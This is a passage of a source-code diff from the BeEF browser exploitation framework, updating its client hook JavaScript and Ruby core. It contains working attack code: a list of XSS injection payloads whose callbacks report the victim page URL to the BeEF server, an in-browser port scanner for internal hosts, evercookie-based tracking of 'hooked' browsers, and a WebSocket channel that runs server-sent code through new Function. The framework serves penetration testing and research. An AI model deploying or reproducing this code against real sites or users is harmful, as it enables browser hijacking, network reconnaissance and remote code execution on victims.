if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
}
}
};
beef.regCmp('beef.net.cors');

View File

@@ -1,18 +1,9 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.net.dns
*
@@ -52,13 +43,13 @@ beef.net.dns = {
// sends a DNS request
sendQuery = function(query) {
//console.log("Requesting: "+query);
beef.debug("Requesting: "+query);
var img = new Image;
img.src = "http://"+query;
img.onload = function() { dom.removeChild(this); }
img.onerror = function() { dom.removeChild(this); }
dom.appendChild(img);
}
};
// encode message
var xor_key = Math.floor(Math.random()*99000+1000);

View File

@@ -1,18 +1,9 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.net.local
*

View File

@@ -1,63 +1,54 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
/*!
* @literal object: beef.net.portscanner
*
* Provides port scanning functions for the zombie. A mod of pdp's scanner
*
* Version: '0.1',
* author: 'Petko Petkov',
* homepage: 'http://www.gnucitizen.org'
*/
beef.net.portscanner = {
scanPort: function(callback, target, port, timeout)
{
var timeout = (timeout == null)?100:timeout;
var img = new Image();
img.onerror = function () {
if (!img) return;
img = undefined;
callback(target, port, 'open');
};
img.onload = img.onerror;
img.src = 'http://' + target + ':' + port;
setTimeout(function () {
if (!img) return;
img = undefined;
callback(target, port, 'closed');
}, timeout);
},
scanTarget: function(callback, target, ports_str, timeout)
{
var ports = ports_str.split(",");
for (index = 0; index < ports.length; index++) {
this.scanPort(callback, target, ports[index], timeout);
};
}
};
beef.regCmp('beef.net.portscanner');
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.net.portscanner
*
* Provides port scanning functions for the zombie. A mod of pdp's scanner
*
* Version: '0.1',
* author: 'Petko Petkov',
* homepage: 'http://www.gnucitizen.org'
*/
beef.net.portscanner = {
scanPort: function(callback, target, port, timeout)
{
var timeout = (timeout == null)?100:timeout;
var img = new Image();
img.onerror = function () {
if (!img) return;
img = undefined;
callback(target, port, 'open');
};
img.onload = img.onerror;
img.src = 'http://' + target + ':' + port;
setTimeout(function () {
if (!img) return;
img = undefined;
callback(target, port, 'closed');
}, timeout);
},
scanTarget: function(callback, target, ports_str, timeout)
{
var ports = ports_str.split(",");
for (index = 0; index < ports.length; index++) {
this.scanPort(callback, target, ports[index], timeout);
};
}
};
beef.regCmp('beef.net.portscanner');

View File

@@ -1,18 +1,9 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.net.requester
*

View File

@@ -49,22 +49,20 @@ beef.net.xssrays = {
//browser-specific attack vectors available strings: ALL, FF, IE, S, C, O
vectors: [
// {input:"',XSS,'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
{input:"\',XSS,\'", name: 'Standard DOM based injection single quote', browser: 'ALL',url:true,form:true,path:true},
{input:'",XSS,"', name: 'Standard DOM based injection double quote', browser: 'ALL',url:true,form:true,path:true},
// {input:'\'><script>XSS<\/script>', name: 'Standard script injection single quote', browser: 'ALL',url:true,form:true,path:true},
{input:'"><script>XSS<\/script>', name: 'Standard script injection double quote', browser: 'ALL',url:true,form:true,path:true}, //,
// {input:'\'><body onload=\'XSS\'>', name: 'body onload single quote', browser: 'ALL',url:true,form:true,path:true},
{input:'"><body onload="XSS">', name: 'body onload double quote', browser: 'ALL',url:true,form:true,path:true},
{input:'\'"><script>XSS<\/script>', name: 'Standard script injection', browser: 'ALL',url:true,form:true,path:true},
{input:'\'"><body onload="XSS">', name: 'body onload', browser: 'ALL',url:true,form:true,path:true},
{input:'%27%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
{input:'%22%3E%3C%73%63%72%69%70%74%3EXSS%3C%2F%73%63%72%69%70%74%3E', name: 'url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
{input:'%25%32%37%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded single quote', browser: 'ALL',url:true,form:true,path:true},
{input:'%25%32%32%25%33%45%25%33%43%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45XSS%25%33%43%25%32%46%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45', name: 'double url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
{input:'%%32%35%%33%32%%33%32%%32%35%%33%33%%34%35%%32%35%%33%33%%34%33%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35XSS%%32%35%%33%33%%34%33%%32%35%%33%32%%34%36%%32%35%%33%37%%33%33%%32%35%%33%36%%33%33%%32%35%%33%37%%33%32%%32%35%%33%36%%33%39%%32%35%%33%37%%33%30%%32%35%%33%37%%33%34%%32%35%%33%33%%34%35', name: 'double nibble url encoded double quote', browser: 'ALL',url:true,form:true,path:true},
// {input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true}
// {input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
// {input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
// {input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
// {input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
{input:"' style=abc:expression(XSS) ' \" style=abc:expression(XSS) \"", name: 'Expression CSS based injection', browser: 'IE',url:true,form:true,path:true},
{input:'" type=image src=null onerror=XSS " \' type=image src=null onerror=XSS \'', name: 'Image input overwrite based injection', browser: 'ALL',url:true,form:true,path:true},
{input:"' onload='XSS' \" onload=\"XSS\"/onload=\"XSS\"/onload='XSS'/", name: 'onload event injection', browser: 'ALL',url:true,form:true,path:true},
{input:'\'\"<\/script><\/xml><\/title><\/textarea><\/noscript><\/style><\/listing><\/xmp><\/pre><img src=null onerror=XSS>', name: 'Image injection HTML breaker', browser: 'ALL',url:true,form:true,path:true},
{input:"'},XSS,function x(){//", name: 'DOM based function breaker single quote', browser: 'ALL',url:true,form:true,path:true},
{input:'"},XSS,function x(){//', name: 'DOM based function breaker double quote', browser: 'ALL',url:true,form:true,path:true},
{input:'\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3eXSS\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e', name: 'DOM based innerHTML injection', browser: 'ALL',url:true,form:true,path:true},
{input:'javascript:XSS', name: 'Javascript protocol injection', browser: 'ALL',url:true,form:true,path:true},
@@ -107,7 +105,7 @@ beef.net.xssrays = {
// util function. Print string to the console only if the debug flag is on and the browser is not IE.
printDebug:function(log) {
if (this.debug && (!beef.browser.isIE6() && !beef.browser.isIE7() && !beef.browser.isIE8())) {
console.log("[XssRays] " + log);
beef.debug("[XssRays] " + log);
}
},
@@ -340,8 +338,8 @@ beef.net.xssrays = {
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.poc = pocurl;
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
+ "&action=ray" + "&p=" + ray.vector.poc + "&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
beefCallback = "location='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
+ "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
exploit = vector.input.replace(/XSS/g, beefCallback);
@@ -368,7 +366,7 @@ beef.net.xssrays = {
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
+ "&action=ray" + "&p=" + ray.vector.poc + "&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
+ "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
exploit = vector.input.replace(/XSS/g, beefCallback);
@@ -424,7 +422,7 @@ beef.net.xssrays = {
beef.net.xssrays.rays[beef.net.xssrays.uniqueID].vector.method = method;
beefCallback = "document.location.href='" + this.beefRayUrl + "?hbsess=" + this.hookedBrowserSession + "&raysid=" + this.xssraysScanId
+ "&action=ray" + "&p=" + ray.vector.poc + "&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
+ "&action=ray" + "&p='+window.location.href+'&n=" + ray.vector.name + "&m=" + ray.vector.method + "'";
exploit = beef.net.xssrays.escape(vector.input.replace(/XSS/g, beefCallback));
form += '<textarea name="' + i + '">' + exploit + '<\/textarea>';

View File

@@ -1,24 +1,15 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.os = {
ua: navigator.userAgent,
isWin311: function() {
return (this.ua.indexOf("Win16") != -1) ? true : false;
return (this.ua.match('(Win16)')) ? true : false;
},
isWinNT4: function() {
@@ -28,18 +19,25 @@ beef.os = {
isWin95: function() {
return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
},
isWinCE: function() {
return (this.ua.match('(Windows CE)')) ? true : false;
},
isWin98: function() {
return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
},
isWinME: function() {
return (this.ua.indexOf('Windows ME') != -1) ? true : false;
return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
},
isWin2000: function() {
return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
},
isWin2000SP1: function() {
return (this.ua.match('Windows NT 5.01 ')) ? true : false;
},
isWinXP: function() {
return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
@@ -56,6 +54,10 @@ beef.os = {
isWin7: function() {
return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
},
isWin8: function() {
return (this.ua.match('(Windows NT 6.2)')) ? true : false;
},
isOpenBSD: function() {
return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
@@ -72,7 +74,11 @@ beef.os = {
isMacintosh: function() {
return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
},
isWinPhone: function() {
return (this.ua.match('(Windows Phone)')) ? true : false;
},
isIphone: function() {
return (this.ua.indexOf('iPhone') != -1) ? true : false;
},
@@ -97,6 +103,10 @@ beef.os = {
return (this.ua.match('BlackBerry')) ? true : false;
},
isWebOS: function() {
return (this.ua.match('webOS')) ? true : false;
},
isQNX: function() {
return (this.ua.match('QNX')) ? true : false;
},
@@ -104,19 +114,26 @@ beef.os = {
isBeOS: function() {
return (this.ua.match('BeOS')) ? true : false;
},
isWindows: function() {
return this.isWin311() || this.isWinNT4() || this.isWinCE() || this.isWin95() || this.isWin98() || this.isWinME() || this.isWin2000() || this.isWin2000SP1() || this.isWinXP() || this.isWinServer2003() || this.isWinVista() || this.isWin7() || this.isWin8() || this.isWinPhone();
},
getName: function() {
//windows
if(this.isWin311()) return 'Windows 3.11';
if(this.isWinNT4()) return 'Windows NT 4';
if(this.isWin95()) return 'Windows 95';
if(this.isWin98()) return 'Windows 98';
if(this.isWinME()) return 'Windows Millenium';
if(this.isWin2000()) return 'Windows 2000';
if(this.isWinXP()) return 'Windows XP';
//Windows
if(this.isWin311()) return 'Windows 3.11';
if(this.isWinNT4()) return 'Windows NT 4';
if(this.isWinCE()) return 'Windows CE';
if(this.isWin95()) return 'Windows 95';
if(this.isWin98()) return 'Windows 98';
if(this.isWinME()) return 'Windows Millenium';
if(this.isWin2000()) return 'Windows 2000';
if(this.isWin2000SP1()) return 'Windows 2000 SP1';
if(this.isWinXP()) return 'Windows XP';
if(this.isWinServer2003()) return 'Windows Server 2003';
if(this.isWinVista()) return 'Windows Vista';
if(this.isWin7()) return 'Windows 7';
if(this.isWinVista()) return 'Windows Vista';
if(this.isWin7()) return 'Windows 7';
if(this.isWin8()) return 'Windows 8';
//Nokia
if(this.isNokia()) {
@@ -139,11 +156,14 @@ beef.os = {
if(this.isSunOS()) return 'Sun OS';
//iPhone
if (this.isIphone()) return 'iPhone';
if (this.isIphone()) return 'iOS';
//iPad
if (this.isIpad()) return 'iPad';
if (this.isIpad()) return 'iOS';
//iPod
if (this.isIpod()) return 'iPod';
if (this.isIpod()) return 'iOS';
// zune
//if (this.isZune()) return 'Zune';
//macintosh
if(this.isMacintosh()) {
@@ -156,6 +176,7 @@ beef.os = {
//others
if(this.isQNX()) return 'QNX';
if(this.isBeOS()) return 'BeOS';
if(this.isWebOS()) return 'webOS';
return 'unknown';
}

View File

@@ -1,18 +1,9 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @literal object: beef.session
*
@@ -22,7 +13,8 @@ beef.session = {
hook_session_id_length: 80,
hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
ec: new evercookie(),
ec: new evercookie(),
beefhook: "<%= @hook_session_name %>",
/**
* Gets a string which will be used to identify the hooked browser session
@@ -31,12 +23,12 @@ beef.session = {
*/
get_hook_session_id: function() {
// check if the browser is already known to the framework
var id = this.ec.evercookie_cookie("BEEFHOOK");
var id = this.ec.evercookie_cookie(beef.session.beefhook);
if (typeof id == 'undefined') {
var id = this.ec.evercookie_userdata("BEEFHOOK");
var id = this.ec.evercookie_userdata(beef.session.beefhook);
}
if (typeof id == 'undefined') {
var id = this.ec.evercookie_window("BEEFHOOK");
var id = this.ec.evercookie_window(beef.session.beefhook);
}
// if the browser is not known create a hook session id and set it
@@ -56,9 +48,9 @@ beef.session = {
*/
set_hook_session_id: function(id) {
// persist the hook session id
this.ec.evercookie_cookie("BEEFHOOK", id);
this.ec.evercookie_userdata("BEEFHOOK", id);
this.ec.evercookie_window("BEEFHOOK", id);
this.ec.evercookie_cookie(beef.session.beefhook, id);
this.ec.evercookie_userdata(beef.session.beefhook, id);
this.ec.evercookie_window(beef.session.beefhook, id);
},
/**
@@ -77,26 +69,7 @@ beef.session = {
}
return hook_session_id;
},
/**
* Overrides each link, and creates an iframe (loading the href) instead of following the link
*/
persistent: function() {
$j('a').click(function(e) {
if ($j(this).attr('href') != '')
{
e.preventDefault();
beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
$j(document).attr('title', $j(this).html());
document.body.scroll = "no";
document.documentElement.style.overflow = 'hidden';
}
});
}
};
beef.regCmp('beef.session');

View File

@@ -0,0 +1,17 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*
Sometimes there are timing issues and looks like beef_init
is not called at all (always in cross-domain situations,
for example calling the hook with jquery getScript,
or sometimes with event handler injections).
To fix this, we call again beef_init after 1 second.
Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
antisnatchor
*/
setTimeout(beef_init, 1000);

View File

@@ -1,29 +1,21 @@
//
// Copyright 2012 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*!
* @Literal object: beef.updater
*
* Object in charge of getting new commands from the BeEF framework and execute them.
* The XHR-polling channel is managed here. If WebSockets are enabled,
* websocket.ls is used instead.
*/
beef.updater = {
// Low timeouts combined with the way the framework sends commamd modules result
// in instructions being sent repeatedly or complex code.
// If you suffer from ADHD, you can decrease this setting.
timeout: 1000,
// XHR-polling timeout.
xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
beefhook: "<%= @hook_session_name %>",
// A lock.
lock: false,
@@ -51,18 +43,22 @@ beef.updater = {
beef.net.flush();
if(beef.commands.length > 0) {
this.execute_commands();
} else {
this.get_commands();
}else {
this.get_commands(); /*Polling*/
}
}
setTimeout("beef.updater.check();", beef.updater.timeout);
// ( typeof beef.websocket === "undefined")
setTimeout("beef.updater.check();", beef.updater.xhr_poll_timeout);
},
// Gets new commands from the framework.
get_commands: function(http_response) {
/**
* Gets new commands from the framework.
*/
get_commands: function() {
try {
this.lock = true;
beef.net.request('http', 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) {
beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
if (response.body != null && response.body.length > 0)
beef.updater.execute_commands();
});
@@ -73,12 +69,12 @@ beef.updater = {
this.lock = false;
},
// Executes the received commands if any.
/**
* Executes the received commands, if any.
*/
execute_commands: function() {
if(beef.commands.length == 0) return;
this.lock = true;
while(beef.commands.length > 0) {
command = beef.commands.pop();
try {
@@ -87,9 +83,8 @@ beef.updater = {
console.error('execute_commands - command failed to execute: ' + e.message);
}
}
this.lock = false;
}
}
};
beef.regCmp('beef.updater');

View File

@@ -0,0 +1,92 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/**
* @Literal object: beef.websocket
*
* Manage the WebSocket communication channel.
* This channel is much faster and responsive, and it's used automatically
* if the browser supports WebSockets AND beef.http.websocket.enable = true.
*/
beef.websocket = {
socket:null,
ws_poll_timeout: "<%= @ws_poll_timeout %>",
/**
* Initialize the WebSocket client object.
* Note: use WebSocketSecure only if the hooked domain is under https.
* Mixed-content in WS is quite different from a non-WS context.
*/
init:function () {
var webSocketServer = beef.net.host;
var webSocketPort = "<%= @websocket_port %>";
var webSocketSecure = "<%= @websocket_secure %>";
var protocol = "ws://";
if(webSocketSecure && window.location.protocol=="https:"){
protocol = "wss://";
webSocketPort= "<%= @websocket_sec_port %>";
}
if (beef.browser.isFF() && !!window.MozWebSocket) {
beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
}else{
beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
}
},
/**
* Send Helo message to the BeEF server and start async polling.
*/
start:function () {
new beef.websocket.init();
this.socket.onopen = function () {
beef.websocket.send('{"cookie":"' + beef.session.get_hook_session_id() + '"}');
beef.websocket.alive();
};
this.socket.onmessage = function (message) {
// Data coming from the WebSocket channel is either of String, Blob or ArrayBufferdata type.
// That's why it needs to be evaluated first. Using Function is a bit better than pure eval().
// It's not a big deal anyway, because the eval'ed data comes from BeEF itself, so it is implicitly trusted.
new Function(message.data)();
};
this.socket.onclose = function () {
setTimeout(function(){beef.websocket.start()}, 5000);
};
},
/**
* Send data back to BeEF. This is basically the same as beef.net.send,
* but doesn't queue commands.
* Example usage:
* beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
* '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
* '","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
*/
send:function (data) {
try {
this.socket.send(data);
}catch(err){}
},
/**
* Polling mechanism, to notify the BeEF server that the browser is still hooked,
* and the WebSocket channel still alive.
* todo: there is probably a more efficient way to do this. Double-check WebSocket API.
*/
alive: function (){
beef.websocket.send('{"alive":"'+beef.session.get_hook_session_id()+'"}');
setTimeout("beef.websocket.alive()", beef.websocket.ws_poll_timeout);
}
};
beef.regCmp('beef.websocket');

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
@@ -118,7 +108,9 @@ module BeEF
# Load module configurations
def load_modules_config
self.set('beef.module', {})
Dir.glob("#{$root_dir}/modules/**/*/config.yaml") do | cf |
# support nested sub-categories, like browser/hooked_domain/ajax_fingerprint
module_configs = File.join("#{$root_dir}/modules/**", "config.yaml")
Dir.glob(module_configs) do | cf |
y = self.load(cf)
if y != nil
y['beef']['module'][y['beef']['module'].keys.first]['path'] = cf.gsub(/config\.yaml/, '').gsub(/#{$root_dir}\//, '')

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -40,12 +30,13 @@ module Banners
def print_welcome_msg
config = BeEF::Core::Configuration.instance
version = config.get('beef.version')
print_info "Browser Exploitation Framework (BeEF)"
data = "Version #{version}\n"
data += "Website http://beefproject.com\n"
data += "Run 'beef -h' for basic help.\n"
data += "Run 'git pull' to update to the latest revision."
print_info "Browser Exploitation Framework (BeEF) #{version}"
data = "Twit: @beefproject\n"
data += "Site: http://beefproject.com\n"
data += "Blog: http://blog.beefproject.com\n"
data += "Wiki: https://github.com/beefproject/beef/wiki\n"
print_more data
print_info "Project Creator: " + "Wade Alcorn".red + " (@WadeAlcorn)"
end
#
@@ -89,11 +80,13 @@ module Banners
def print_network_interfaces_routes
configuration = BeEF::Core::Configuration.instance
prototxt = configuration.get("beef.http.https.enable") == true ? "https" : "http"
self.interfaces.map do |host| # display the important URLs on each interface from the interfaces array
print_success "running on network interface: #{host}"
data = "Hook URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
data += "UI URL: http://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n"
beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
data = "Hook URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n"
print_more data
end
@@ -104,13 +97,12 @@ module Banners
#
def print_loaded_extensions
extensions = BeEF::Extensions.get_loaded
print_info "#{extensions.size} extensions loaded:"
print_info "#{extensions.size} extensions enabled."
output = ''
extensions.each do |key,ext|
output += "#{ext['name']}\n"
end
#extensions.each do |key,ext|
# output += "#{ext['name']}\n"
#end
print_more output
end

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -26,6 +16,9 @@ module BeEF
@options[:resetdb] = false
@options[:ascii_art] = false
@options[:ext_config] = ""
@options[:port] = ""
@options[:ws_port] = ""
@already_parsed = false
@@ -53,6 +46,14 @@ module BeEF
opts.on('-c', '--config FILE', 'Load a different configuration file: if it\'s called custom-config.yaml, git automatically ignores it.') do |f|
@options[:ext_config] = f
end
opts.on('-p', '--port PORT', 'Change the default BeEF listening port') do |p|
@options[:port] = p
end
opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port|
@options[:ws_port] = ws_port
end
end
optparse.parse!

View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
